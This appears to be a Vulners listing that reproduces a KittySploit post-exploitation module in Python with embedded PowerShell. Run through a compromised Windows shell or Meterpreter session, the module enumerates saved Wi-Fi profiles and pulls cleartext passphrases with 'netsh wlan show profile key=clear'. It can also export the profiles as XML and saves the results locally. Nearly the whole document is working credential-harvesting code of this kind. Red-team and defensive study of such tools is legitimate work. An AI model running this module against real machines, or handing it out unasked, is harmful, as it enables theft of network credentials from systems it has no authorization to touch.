Lucene search
+L

Windows Gather Wireless Profile

🗓️ 17 Jul 2026 05:58:58Reported by KittySploitType 
kittysploit
 kittysploit
🔗 kittysploit.com👁 1 Views

Module to enumerate saved WLAN profiles and recover cleartext key material on Windows.

Refs
Code
#!/usr/bin/env python3
# -*- coding: utf-8 -*-

"""
Extract saved WLAN profiles and cleartext key material
(Metasploit-style post/windows/wlan/wlan_profile).
"""

from kittysploit import *
from lib.post.windows.session import win_compat_failure_type, win_probe_powershell
import base64
import os
import re
import time

_LOCAL_OUT = "output"


class Module(Post):
    __info__ = {
        "name": "Windows Gather Wireless Profile",
        "description": (
            "Enumerate saved Wireless LAN profiles and attempt to recover "
            "cleartext key material with 'netsh wlan show profile key=clear' "
            "on a Windows shell or Meterpreter session. On modern Windows this "
            "yields the passphrase; on XP the PBKDF2-derived key may be shown instead."
        ),
        "author": "KittySploit Team",
        "platform": Platform.WINDOWS,
        "session_type": [SessionType.METERPRETER, SessionType.SHELL],
        "references": [
            "https://attack.mitre.org/techniques/T1555/",
            "https://github.com/rapid7/metasploit-framework/blob/master/modules/post/windows/wlan/wlan_profile.rb",
        ],
        "tags": ["windows", "post", "gather", "wlan", "wifi", "credentials"],
        "agent": {
            "risk": "intrusive",
            "effects": ["active_exploitation"],
            "expected_requests": 3,
            "reversible": False,
            "approval_required": True,
            "produces": ["credentials"],
            "cost": 1.5,
            "noise": 0.4,
            "value": 1.2,
            "chain": {
                "consumes_capabilities": ["shell"],
                "produces_capabilities": ["wifi_creds"],
                "suggested_followups": [
                    "post/shell/windows/wlan/wlan_current_connection",
                    "post/shell/windows/gather/dump_vpn_profiles",
                ],
            },
        },
    }

    save_local = OptBool(True, "Save results under ./output", False)
    include_xml = OptBool(
        False,
        "Also export each profile as XML (netsh wlan export profile key=clear)",
        False,
    )

    def _execute_cmd(self, command: str) -> str:
        if not command:
            return ""
        output = self.cmd_execute(command)
        return output.strip() if output else ""

    def _encode_powershell(self, script: str) -> str:
        return base64.b64encode(script.encode("utf-16le")).decode("ascii")

    def _run_powershell(self, script: str) -> str:
        encoded = self._encode_powershell(script)
        return self._execute_cmd(f"powershell -NoP -NonI -EncodedCommand {encoded}")

    def _bool_opt(self, val, default=False) -> bool:
        if val is None:
            return default
        if isinstance(val, bool):
            return val
        return str(val).strip().lower() in ("1", "true", "yes", "on")

    def _powershell_script(self, export_xml: bool) -> str:
        export_flag = "$true" if export_xml else "$false"
        return rf"""
$ErrorActionPreference = 'Continue'
$exportXml = {export_flag}

$profileLines = netsh wlan show profiles 2>&1
$joined = ($profileLines | Out-String)
if ($joined -match '(?i)(not supported|not available|not present|n.?est pas|nicht verf)') {{
  Write-Output "WLAN_ERROR: WLAN stack unavailable`n$joined"
  return
}}

$profileNames = $profileLines | Where-Object {{
  $_ -match 'All User Profile|User Profile|Profil Tous les utilisateurs|Profil utilisateur|Perfil de todos los usuarios|Perfil de usuario|Benutzerprofil|Alle Benutzerprofil'
}} | ForEach-Object {{
  if ($_ -match ':\s*(.+)\s*$') {{ $matches[1].Trim() }}
}} | Where-Object {{ $_ }} | Select-Object -Unique

if (-not $profileNames) {{
  Write-Output 'No saved WiFi profiles found for the current user.'
  return
}}

$sections = New-Object System.Collections.Generic.List[string]
$sections.Add("Wireless LAN Profile Information`nProfiles found: $($profileNames.Count)")

$exportDir = $null
if ($exportXml) {{
  $exportDir = Join-Path $env:TEMP ("wlan_export_" + [guid]::NewGuid().ToString('N').Substring(0,8))
  New-Item -ItemType Directory -Path $exportDir -Force | Out-Null
}}

foreach ($network in $profileNames) {{
  $detail = netsh wlan show profile name="$network" key=clear 2>&1
  $detailText = ($detail | Out-String).TrimEnd()

  $keyContent = ''
  if ($detailText -match '(?im)^\s*Key Content\s*:\s*(.+)$') {{
    $keyContent = $matches[1].Trim()
  }} elseif ($detailText -match '(?im)^\s*Contenu de la cl[eé]\s*:\s*(.+)$') {{
    $keyContent = $matches[1].Trim()
  }} elseif ($detailText -match '(?im)^\s*Inhalt des Schl[uü]ssels\s*:\s*(.+)$') {{
    $keyContent = $matches[1].Trim()
  }}

  $auth = ''
  if ($detailText -match '(?im)^\s*Authentication\s*:\s*(.+)$') {{ $auth = $matches[1].Trim() }}
  elseif ($detailText -match '(?im)^\s*Authentification\s*:\s*(.+)$') {{ $auth = $matches[1].Trim() }}

  $cipher = ''
  if ($detailText -match '(?im)^\s*Cipher\s*:\s*(.+)$') {{ $cipher = $matches[1].Trim() }}
  elseif ($detailText -match '(?im)^\s*Chiffrement\s*:\s*(.+)$') {{ $cipher = $matches[1].Trim() }}

  $header = "=== Profile: $network ==="
  if ($keyContent) {{
    $header += "`nKey Content: $keyContent"
  }} else {{
    $header += "`nKey Content: (not available — need elevated privileges or open network)"
  }}
  if ($auth) {{ $header += "`nAuthentication: $auth" }}
  if ($cipher) {{ $header += "`nCipher: $cipher" }}

  $sections.Add("$header`n`n$detailText")

  if ($exportXml -and $exportDir) {{
    $null = netsh wlan export profile name="$network" folder="$exportDir" key=clear 2>&1
  }}
}}

if ($exportXml -and $exportDir -and (Test-Path -LiteralPath $exportDir)) {{
  Get-ChildItem -LiteralPath $exportDir -Filter '*.xml' -ErrorAction SilentlyContinue | ForEach-Object {{
    try {{
      $xml = Get-Content -LiteralPath $_.FullName -Raw -ErrorAction Stop
      $sections.Add("=== Exported XML: $($_.Name) ===`n$xml")
    }} catch {{
      $sections.Add("=== Exported XML: $($_.Name) (read failed) ===")
    }}
  }}
  Remove-Item -LiteralPath $exportDir -Recurse -Force -ErrorAction SilentlyContinue
}}

$sections -join "`n`n"
"""

    def check(self):
        netsh_check = self._execute_cmd("where netsh")
        if not netsh_check or "netsh" not in netsh_check.lower():
            print_error("netsh.exe is not available on the target")
            return False

        wlan_check = self._execute_cmd("netsh wlan show interfaces")
        if wlan_check and re.search(
            r"(not supported|not available|not present|n.est pas)", wlan_check, re.I
        ):
            print_warning("WLAN stack may be unavailable on this host")
        return True

    def _parse_profile_names(self, profiles_out: str) -> list:
        names = []
        pat = re.compile(
            r"(?:All User Profile|Profil Tous les utilisateurs|"
            r"Perfil de todos los usuarios|Benutzerprofil)\s*:\s*(.+)\s*$",
            re.I,
        )
        for line in (profiles_out or "").splitlines():
            m = pat.search(line.strip())
            if m:
                name = m.group(1).strip()
                if name:
                    names.append(name)
        seen = set()
        ordered = []
        for n in names:
            key = n.lower()
            if key not in seen:
                seen.add(key)
                ordered.append(n)
        return ordered

    def _extract_via_netsh(self, export_xml: bool = False) -> str:
        profiles_out = self._execute_cmd("netsh wlan show profiles")
        if not profiles_out:
            return ""
        names = self._parse_profile_names(profiles_out)
        if not names:
            return "No saved WiFi profiles found for the current user."
        sections = []
        for network in names:
            safe = network.replace('"', '""')
            detail = self._execute_cmd(f'netsh wlan show profile name="{safe}" key=clear')
            sections.append(f"=== Profile: {network} ===\n{detail or '(empty)'}")
            if export_xml:
                self._execute_cmd(
                    f'netsh wlan export profile name="{safe}" folder="%TEMP%" key=clear'
                )
        return "\n\n".join(sections)

    def _save_output(self, content: str) -> str:
        os.makedirs(_LOCAL_OUT, exist_ok=True)
        stamp = time.strftime("%Y%m%d_%H%M%S")
        local_path = os.path.join(_LOCAL_OUT, f"wlan_profile_{stamp}.txt")
        with open(local_path, "w", encoding="utf-8", errors="replace") as f:
            f.write(content)
        return local_path

    def run(self):
        if not self.check():
            raise ProcedureError(
                win_compat_failure_type(),
                "WLAN profile extraction prerequisites not met",
            )

        export_xml = self._bool_opt(self.include_xml, False)
        print_status("Extracting saved wireless LAN profiles...")
        if export_xml:
            print_status("XML profile export enabled")

        if win_probe_powershell(self._execute_cmd):
            result = self._run_powershell(self._powershell_script(export_xml))
        else:
            print_info("PowerShell unavailable — using netsh via cmd")
            result = self._extract_via_netsh(export_xml)

        if not result:
            raise ProcedureError(FailureType.Unknown, "No output was returned")

        if re.search(r"WLAN_ERROR:", result, re.I):
            print_error(result)
            raise ProcedureError(win_compat_failure_type(), result)

        if re.search(r"No saved WiFi profiles found", result, re.I):
            print_warning(result)
            return True

        if self._bool_opt(self.save_local, True):
            local_path = self._save_output(result + "\n")
            print_success(f"Results saved to ./{local_path}")

        print_success("WLAN profile extraction completed")
        print_info(result)
        return True

Data

Build on a solid foundation with Vulners data

We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data

Api

Power your application with Vulners API

The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access

App

Assess and manage vulnerabilities with Vulners tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation

02 Aug 2026 17:22Current
5.9Medium risk
Vulners AI Score5.9
1